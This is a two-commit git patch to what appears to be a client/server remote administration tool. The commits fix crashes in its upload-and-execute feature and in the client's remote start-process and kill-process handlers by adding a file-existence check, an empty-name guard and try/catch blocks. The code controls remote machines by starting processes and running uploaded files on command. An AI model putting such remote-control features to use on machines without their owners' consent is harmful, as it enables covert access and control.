From 88f6495ded098aa34d3f35dd38a25604e7ac0228 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 20:37:53 -0400 Subject: [PATCH 1/2] Fixed server crash on invalid upload/execute Fixed an issue that caused the server to crash when attempting to upload then execute on a file on a client when no file was selected. --- Server/Forms/FrmMain.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 9a0808c1..093d319c 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -530,7 +530,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { - if (frm.ShowDialog() == DialogResult.OK) + if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => { From 9db12cd8d710e2e879ce86899da937ef33f8b20f Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 20:45:29 -0400 Subject: [PATCH 2/2] Fixed client crash on invalid start process command Fixes two issues of the client when trying to start an invalid process. 1) Client will no longer try to use a null or empty string for the new Process' FileName. 2) If, for any reason, the process can not start correctly, it will no longer cause the Client to crash. --- Client/Core/Commands/CommandHandler.cs | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 2da30a86..cb76c55b 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -312,18 +312,29 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, Process.GetProcessById(command.PID).Kill(); } catch + { } + finally { + HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } - - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { - ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname}; - Process.Start(startInfo); - - HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); + if (!string.IsNullOrEmpty(command.Processname)) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname }; + Process.Start(startInfo); + } + catch + { } + finally + { + HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); + } + } } public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)